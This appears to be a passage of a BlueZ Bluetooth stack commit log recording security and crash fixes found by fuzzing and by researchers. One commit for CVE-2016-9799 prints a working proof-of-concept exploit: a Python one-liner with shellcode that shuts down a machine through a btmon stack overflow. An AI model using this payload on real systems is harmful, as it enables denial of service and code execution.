by 0x91283: notify_service_changed (gatt-db.c:280)
by 0x91283: gatt_db_service_destroy (gatt-db.c:291)
Address 0x515ed48 is 0 bytes inside a block of size 20 free'd
at 0x483EAD0: free (vg_replace_malloc.c:530)
by 0x85D2B: queue_remove_all (queue.c:354)
by 0x636D3: unregister_characteristic (gatt-client.c:1741)
by 0x85D2B: queue_remove_all (queue.c:354)
by 0x635F7: unregister_service (gatt-client.c:1893)
by 0x85CF7: queue_remove_all (queue.c:339)
by 0x661DF: btd_gatt_client_service_removed (gatt-client.c:2199)
by 0x695CB: gatt_service_removed (device.c:3747)
by 0x85B17: queue_foreach (queue.c:220)
by 0x91283: notify_service_changed (gatt-db.c:280)
by 0x91283: gatt_db_service_destroy (gatt-db.c:291)
by 0x85D2B: queue_remove_all (queue.c:354)
by 0x91387: gatt_db_clear_range (gatt-db.c:475)
Change-Id: If5d5159c7fc59f4f3b88afb863eb0b0644ddee09
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 14 Nov 2018 11:35:37 +0000 (13:35 +0200)]
avctp: Fix possible crash when accepting browsing channel
In order to stop the bt_io_accept from calling the callback with
invalid session, if that is disconnected in the meantime, create the
channel so it can properly be destroyed thus stopping the callback from
being called.
Change-Id: If89847141f3062361cbc0b8a1235eeee0e7edf34
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 1 Nov 2018 13:59:23 +0000 (15:59 +0200)]
unit/test-sdp: Add robustness test for continuation state
This adds a test for invalid continuation state:
/TP/SERVER/SA/ROB/BI-01-C - init
/TP/SERVER/SA/ROB/BI-01-C - setup
/TP/SERVER/SA/ROB/BI-01-C - setup complete
/TP/SERVER/SA/ROB/BI-01-C - run
test-sdp: < 02 00 01 00 16 35 11 1c 00 00 01 00 00 00 10 00 .....5..........
test-sdp: 80 00 00 80 5f 9b 34 fb 00 01 00 ...._.4....
bluetoothd[26193]: process_request: Got a svc srch req
bluetoothd[26193]: extract_des: Seq type : 53
bluetoothd[26193]: extract_des: Data size : 17
bluetoothd[26193]: extract_des: Data type: 0x1c
bluetoothd[26193]: extract_des: No of elements : 1
bluetoothd[26193]: service_search_req: Expected count: 1
bluetoothd[26193]: service_search_req: Bytes scanned : 19
bluetoothd[26193]: sdp_cstate_get: Continuation State size : 0
bluetoothd[26193]: service_search_req: Checking svcRec : 0x0
bluetoothd[26193]: service_search_req: Checking svcRec : 0x1
bluetoothd[26193]: service_search_req: Checking svcRec : 0x10000
bluetoothd[26193]: service_search_req: Match count: 1
bluetoothd[26193]: process_request: Sending rsp. status 0
bluetoothd[26193]: process_request: Bytes Sent : 14
test-sdp: > 03 00 01 00 09 00 01 00 01 00 01 00 00 00 ..............
test-sdp: < 04 00 01 00 0f 00 01 00 00 00 07 35 06 09 00 00 ...........5....
test-sdp: 09 00 01 00 ....
bluetoothd[26193]: process_request: Got a svc attr req
bluetoothd[26193]: extract_des: Seq type : 53
bluetoothd[26193]: extract_des: Data size : 6
bluetoothd[26193]: extract_des: Data type: 0x09
bluetoothd[26193]: extract_des: No of elements : 1
bluetoothd[26193]: extract_des: Data type: 0x09
bluetoothd[26193]: extract_des: No of elements : 2
bluetoothd[26193]: sdp_cstate_get: Continuation State size : 0
bluetoothd[26193]: service_attr_req: SvcRecHandle : 0x10000
bluetoothd[26193]: service_attr_req: max_rsp_size : 7
bluetoothd[26193]: extract_attrs: Entries in attr seq : 2
bluetoothd[26193]: extract_attrs: AttrDataType : 9
bluetoothd[26193]: extract_attrs: AttrDataType : 9
bluetoothd[26193]: service_attr_req: Creating continuation state of size : 18
bluetoothd[26193]: sdp_set_cstate_pdu: Non null sdp_cstate_t id : 0x5bdb0511
bluetoothd[26193]: process_request: Sending rsp. status 0
bluetoothd[26193]: process_request: Bytes Sent : 23
test-sdp: > 05 00 01 00 12 00 07 35 10 09 00 00 0a 00 08 11 .......5........
test-sdp: 05 db 5b 07 00 00 00 ..[....
test-sdp: < 04 00 02 00 17 00 01 00 00 00 07 35 06 09 00 00 ...........5....
test-sdp: 09 00 01 08 11 05 db 5b ff ff 00 00 .......[....
bluetoothd[26193]: process_request: Got a svc attr req
bluetoothd[26193]: extract_des: Seq type : 53
bluetoothd[26193]: extract_des: Data size : 6
bluetoothd[26193]: extract_des: Data type: 0x09
bluetoothd[26193]: extract_des: No of elements : 1
bluetoothd[26193]: extract_des: Data type: 0x09
bluetoothd[26193]: extract_des: No of elements : 2
bluetoothd[26193]: sdp_cstate_get: Continuation State size : 8
bluetoothd[26193]: sdp_cstate_get: Cstate TS : 0x5bdb0511
bluetoothd[26193]: sdp_cstate_get: Bytes sent : 65535
bluetoothd[26193]: service_attr_req: SvcRecHandle : 0x10000
bluetoothd[26193]: service_attr_req: max_rsp_size : 7
bluetoothd[26193]: NULL cache buffer and non-NULL continuation state
bluetoothd[26193]: process_request: Sending rsp. status 5
bluetoothd[26193]: process_request: Bytes Sent : 7
test-sdp: > 01 00 02 00 02 00 05 .......
/TP/SERVER/SA/ROB/BI-01-C - test passed
/TP/SERVER/SA/ROB/BI-01-C - teardown
/TP/SERVER/SA/ROB/BI-01-C - teardown complete
/TP/SERVER/SA/ROB/BI-01-C - done
Change-Id: I9312545d675dab69e64d22779e02ac7da923bb42
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 28 Sep 2018 13:08:32 +0000 (16:08 +0300)]
sdp: Fix buffer overflow
sdp_append_buf shall check if there is enough space to store the data
before copying it.
An independent security researcher, Julian Rauchberger, has reported
this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure
program.
Change-Id: I15d089ecda58b507776767f595c3006cd3f8b90c
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 28 Sep 2018 12:04:42 +0000 (15:04 +0300)]
sdp: Fix not checking if cstate length
cstate length should be smaller than cached length otherwise the
request shall be considered invalid as the data is not within the
cached buffer.
An independent security researcher, Julian Rauchberger, has reported
this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure
program.
Change-Id: I16873b4ca1eda39c28d6737a66db08a6206c6bfb
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 1 Nov 2018 13:55:12 +0000 (15:55 +0200)]
monitor: Decode error response
This adds decoding for the error code in the error response:
> test-sdp: User Data RX
Channel: 0 len 7 [PSM 1 mode 0] {chan 0}
SDP: Error Response (0x01) tid 2 len 2
Error code: Invalid Continuation State (0x0005)
Change-Id: Ie72b90f076e36a75a9fef91cdef235070ad28d1b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Cho, Yu-Chen [Wed, 31 Oct 2018 08:15:08 +0000 (16:15 +0800)]
hcidump: Fix set_ext_ctrl() global buffer overflow
Fix set_ext_ctrl() global buffer overflow.
Change-Id: I7b03dc961b1c74d372817bedb35d11b39d475bda
Signed-off-by: himanshu <h.himanshu@samsung.com>
Cho, Yu-Chen [Wed, 31 Oct 2018 08:15:07 +0000 (16:15 +0800)]
hcidump:fixed hci frame dump stack-buffer-overflow
hci_dump() didn't check the length of frame, and it would be
a stack-buffer-overflow error.
Change-Id: I9ed90053c242aa174485c3038ada9a182b3004ca
Signed-off-by: himanshu <h.himanshu@samsung.com>
Łukasz Rymanowski [Wed, 24 Oct 2018 10:17:18 +0000 (12:17 +0200)]
btmon: Add colors to data status in extended adv report
This patch gives color indicators to data status in extended
advertising reports. This gives better visibility on which advertising
events were completed or truncated.
Change-Id: I79a3cd8eec85eb08ad07a6083ee33a8e77b0ea5e
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 29 Oct 2018 13:13:25 +0000 (15:13 +0200)]
gatt: Fix not removing disconnect handler properly
Previous patch did not really fixed the crash since the bt_server would
be freed already which makes bt_att instance to be passed as NULL to
bt_att_unregister_disconnect which makes it not the take the expected
action.
Change-Id: Icd15b693e6ea59eb080f76d1735c9f537d61ba3b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 25 Oct 2018 07:09:37 +0000 (10:09 +0300)]
gatt: Fix crash on disconnect
This fix a crash when ATT disconnects causing the following trace:
Invalid read of size 8
at 0x47CD9A: att_disconnected (gatt-database.c:335)
by 0x4E04F5: disconn_handler (att.c:539)
by 0x4DACD0: queue_foreach (queue.c:220)
by 0x4E23D8: disconnect_cb (att.c:592)
by 0x4F0A58: watch_callback (io-glib.c:170)
by 0x50D788C: g_main_context_dispatch (in /usr/lib64/libglib-2.0.so.0.5600.3)
by 0x50D7C57: ??? (in /usr/lib64/libglib-2.0.so.0.5600.3)
by 0x50D7F81: g_main_loop_run (in /usr/lib64/libglib-2.0.so.0.5600.3)
by 0x40D336: main (main.c:808)
Address 0x9aed3c0 is 0 bytes inside a block of size 40 free'd
at 0x4C2FDAC: free (vg_replace_malloc.c:530)
by 0x47CE78: att_disconnected (gatt-database.c:358)
by 0x47F9FF: btd_gatt_database_att_disconnected (gatt-database.c:3540)
by 0x4AAB8E: gatt_server_cleanup (device.c:584)
by 0x4AAC26: attio_cleanup (device.c:601)
by 0x4ADDF1: att_disconnected_cb (device.c:4865)
by 0x4E04F5: disconn_handler (att.c:539)
by 0x4DACD0: queue_foreach (queue.c:220)
by 0x4E23D8: disconnect_cb (att.c:592)
by 0x4F0A58: watch_callback (io-glib.c:170)
by 0x50D788C: g_main_context_dispatch (in /usr/lib64/libglib-2.0.so.0.5600.3)
by 0x50D7C57: ??? (in /usr/lib64/libglib-2.0.so.0.5600.3)
Change-Id: Ib180cf7f7abb076cc94d2e08434a0cdf91134bd0
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 25 Apr 2018 12:29:51 +0000 (15:29 +0300)]
shared/gatt-server: Add bt_gatt_server_get_att
This adds bt_gatt_server_get_att which can be used to get the bt_att
instance attached to the server.
Change-Id: If00def71f2ec7369162b8808524836fcd59c1b44
Signed-off-by: himanshu <h.himanshu@samsung.com>
Marcel Holtmann [Sat, 20 Oct 2018 05:23:11 +0000 (07:23 +0200)]
monitor: Use static inline for functions in header files
Change-Id: Ic65292f68c4e74778780dce4a1163d2e9bef7b9c
Signed-off-by: himanshu <h.himanshu@samsung.com>
Matias Karhumaa [Tue, 16 Oct 2018 20:24:15 +0000 (23:24 +0300)]
btmon: fix segfault caused by buffer overflow
Buffer overflow vulnerability in monitor/sdp.c SDP continuation handling
caused btmon to crash. This happens in global static buffer which makes
it non-trivial to exploit.
This is nasty bug in a way that this can be triggered also over the air
by sending malformed SDP Search Attribute request to device running
btmon.
This crash was foung by fuzzing btmon with AFL. Seems to be reproducible
also with Synopsys Defensics SDP Server suite.
Change-Id: Ie149945cd95f6686183944e358cf25b485c769c4
Signed-off-by: himanshu <h.himanshu@samsung.com>
Matias Karhumaa [Tue, 16 Oct 2018 20:23:12 +0000 (23:23 +0300)]
btmon: fix segfault caused by integer undeflow
Fix segfault caused by integer underflow. Fix is to check that
rsp->num_codecs + 3 is not bigger than size before subtracting.
Crash was found by fuzzing btmon with AFL.
Change-Id: I9af6ee12b4bf58d33ee81412ddd6c47ef49acac8
Signed-off-by: himanshu <h.himanshu@samsung.com>
Matias Karhumaa [Tue, 16 Oct 2018 20:22:42 +0000 (23:22 +0300)]
btmon: fix segfault caused by integer underflow
Fix segfault caused by integer underflow in set_event_filter_cmd().
Fix is to check that size is big enough before subtracting to prevent
underflow.
Crash was found by fuzzing btmon with AFL.
Change-Id: I2e8c45af686bc86beb20221118240958afa58426
Signed-off-by: himanshu <h.himanshu@samsung.com>
Matias Karhumaa [Tue, 16 Oct 2018 20:21:50 +0000 (23:21 +0300)]
btmon: fix stack buffer overflow
Arbitrary code execution vulnerability was discovered in btmon.
pklg_read_hci function read from file attacker controllable
amount of data which caused stack buffer overflow.
Fixes old and previously unfixed CVE-2016-9799.
Initially this was reported by op7ic:
https://www.spinics.net/lists/linux-bluetooth/msg68898.html
Later this was re-discovered by fuzzing btmon with AFL.
Proof-of-concept exploit that shutowns the machine:
$ python -c 'print "\x00\x00\x0c\x10"+ "\x90"*609 +"\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73\x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"+ "\x90"*847 +"\xb0\xda\xff\xff\xff\x7f\x00\x00"' > exploit
$ ./btmon -r exploit
Proof of concept requires that ASLR is disabled and following CFLAGS are
set: -fno-stack-protector -zexecstack
Change-Id: I75934ef2c759e5dab3ed025d4d8bf5041523a2de
Signed-off-by: himanshu <h.himanshu@samsung.com>
Matias Karhumaa [Tue, 16 Oct 2018 20:22:16 +0000 (23:22 +0300)]
btmon: fix multiple segfaults
Fix multiple segfaults caused by buffer over-read in packet_hci_command,
packet_hci_event and packet_hci_acldata. Fix is to check that index is
not bigger than MAX_INDEX before accessing index_list.
Crashes were found by fuzzing btmon with AFL.
Change-Id: Iaba0be9da71154eaeff3be86e8afa5eeb74dd354
Signed-off-by: himanshu <h.himanshu@samsung.com>
Matias Karhumaa [Tue, 16 Oct 2018 20:19:38 +0000 (23:19 +0300)]
btmon: fix segfault caused by buffer over-read
Fix segfault caused by buffer over-read. Check that index is not
bigger than MAX_INDEX.
This bug was found by fuzzing with AFL.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000420bb8 in print_packet (tv=<optimized out>, cred=<optimized out>, ident=<optimized out>, index=<optimized out>, channel=<optimized out>, color=<optimized out>,
label=<optimized out>, text=<optimized out>, extra=<optimized out>) at monitor/packet.c:317
warning: Source file is more recent than executable.
317 index_list[index].frame != last_frame) {
(gdb) bt
#0 0x0000000000420bb8 in print_packet (tv=<optimized out>, cred=<optimized out>, ident=<optimized out>, index=<optimized out>, channel=<optimized out>, color=<optimized out>,
label=<optimized out>, text=<optimized out>, extra=<optimized out>) at monitor/packet.c:317
#1 0x000000000041a8c3 in packet_new_index (tv=<optimized out>, index=<optimized out>, name=0x7fffffffda68 "rsion 4.18.0-matias-patch2 (x86_64)", label=<optimized out>,
type=<optimized out>, bus=<optimized out>) at monitor/packet.c:9818
#2 packet_monitor (tv=0x7fffffffda50, cred=<optimized out>, index=<optimized out>, opcode=<optimized out>, data=0x7fffffffda60, size=<optimized out>) at monitor/packet.c:3881
#3 0x000000000040e177 in control_reader (path=<optimized out>, pager=true) at monitor/control.c:1462
#4 0x0000000000403b00 in main (argc=<optimized out>, argv=<optimized out>) at monitor/main.c:243
Change-Id: I1c3bf298ebfb11f5cace8c245d30fdc068bc6606
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 8 Oct 2018 07:35:53 +0000 (10:35 +0300)]
shared/shell: Fix parsing of tool name
Fix leaving leading '/' when parsing tool name.
Change-Id: Ifc7fd6fde54923e64d25c1a33e1d16c873f86732
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 5 Oct 2018 08:50:46 +0000 (11:50 +0300)]
unit: Make use of tester_monitor to print input/output PDUs
tester_monitor will forward the data to btmon when -m/--monitor is
enabled which will attempt to decode the PDUs:
= test-gatt: /robustness/unkown-command - init 11:44:53.464325
= test-gatt: /robustness/unkown-command - setup
= test-gatt: /robustness/unkown-command - setup complete
= test-gatt: /robustness/unkown-command - run
< test-gatt: User Data TX
ATT: Exchange MTU Request (0x02) len 2
Client RX MTU: 23
> test-gatt: User Data RX
ATT: Exchange MTU Response (0x03) len 2
Server RX MTU: 512
< test-gatt: User Data TX
ATT: Unknown (0xff) len 1
00 .
= test-gatt: /robustness/unkown-command - test passed
= test-gatt: /robustness/unkown-command - teardown
= test-gatt: /robustness/unkown-command - teardown complete
= test-gatt: /robustness/unkown-command - done
Change-Id: I44bd1f913f02a953301dc1e0a4b87a448219e7f0
Signed-off-by: himanshu <h.himanshu@samsung.com>